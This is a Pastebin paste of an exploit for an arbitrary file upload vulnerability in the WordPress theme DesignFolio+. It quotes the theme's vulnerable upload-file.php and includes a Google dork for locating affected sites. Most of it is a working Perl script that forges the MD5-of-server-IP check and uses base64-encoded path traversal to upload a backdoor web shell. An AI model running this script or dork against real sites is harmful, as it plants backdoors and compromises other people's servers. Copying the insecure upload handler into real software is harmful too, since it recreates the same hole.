CrashBandicot

Wordpress Theme DesignFolio+ Arbitrary File Upload

Apr 1st, 2015
10,336
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.52 KB | None | 0 0
  1. #########################################################
  2. # Exploit Title: Wordpress Theme DesignFolio+ Arbitrary File Upload Vulnerability
  3. # Google dork: inurl:wp-content/themes/DesignFolio-Plus
  4. # Author: CrashBandicot
  5. # Date: 04.03.2015
  6. # OSVDB-ID: 119623
  7. # Vendor HomePage: https://github.com/UpThemes/DesignFolio-Plus
  8. # Software Link: https://github.com/UpThemes/DesignFolio-Plus/archive/master.zip
  9. # tested on : MsWin32
  10. #########################################################
  11.  
  12. Vulnerable File : upload-file.php
  13. <?php
  14. //Upload Security
  15. $upload_security = md5($_SERVER['SERVER_ADDR']);
  16. $uploaddir = base64_decode( $_REQUEST['upload_path'] ) . "/";
  17. if( $_FILES[$upload_security] ):
  18.         $file = $_FILES[$upload_security];
  19.         $file = $uploaddir . strtolower(str_replace('__', '_', str_replace('#', '_', str_replace(' ', '_', basename($file['name'])))));
  20.          
  21.                 if (move_uploaded_file( $_FILES[$upload_security]['tmp_name'], $file)):
  22.                         if(chmod($file,0777)):
  23.                             echo "success";
  24.                         else:
  25.                                 echo "error".$_FILES[$upload_security]['tmp_name'];
  26.                         endif;
  27.                 else:
  28.                     echo "error".$_FILES[$upload_security]['tmp_name'];
  29.                 endif;
  30. endif;
  31. ?>
  32.  
  33. Exploit
  34.  
  35. #!/usr/bin/perl
  36.  
  37. use Digest::MD5 qw(md5 md5_hex);
  38. use MIME::Base64;
  39. use IO::Socket;
  40. use LWP::UserAgent;
  41.  
  42.     system(($^O eq 'MSWin32') ? 'cls' : 'clear');
  43.         print "\n\t     ! *** #  ^_^ # *** !\n\t      :p\n\n";
  44.  
  45. $use = "\n\t  [!] ./$0 127.0.0.1 backdoor.php";
  46.  
  47. ($target ,$file) = @ARGV;
  48.  
  49. die "$use" unless $ARGV[0] && $ARGV[1];
  50.  
  51. if($target =~ /http:\/\/(.*)\//){ $target = $1; }
  52. elsif($target =~ /http:\/\/(.*)/){ $target = $1; }
  53. elsif($target =~ /https:\/\/(.*)\//){ $target = $1; }
  54. elsif($target =~ /https:\/\/(.*)/){ $target = $1; }
  55.  
  56. my $addr = inet_ntoa((gethostbyname($target))[4]);
  57. my $digest = md5_hex($addr);
  58. my $dir = encode_base64('../../../../');
  59.  
  60. my $ua = LWP::UserAgent->new( agent => q{Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36},);
  61. $pst = $ua->post("http://".$target."/wp-content/themes/designfolio-plus/admin/upload-file.php", Content_Type => 'form-data', Content => [ $digest => [$file] , upload_path => $dir ]);
  62. if($pst->is_success) { print "[+] Backdoor Uploaded !"; } else { print "\n [-] Bad Response Header :/ FAIL"; }
  63.  
  64. __END__
  65.  
  66.  
  67. # File path: http://target/shell.php
Advertisement
Add Comment
Please, Sign In to add comment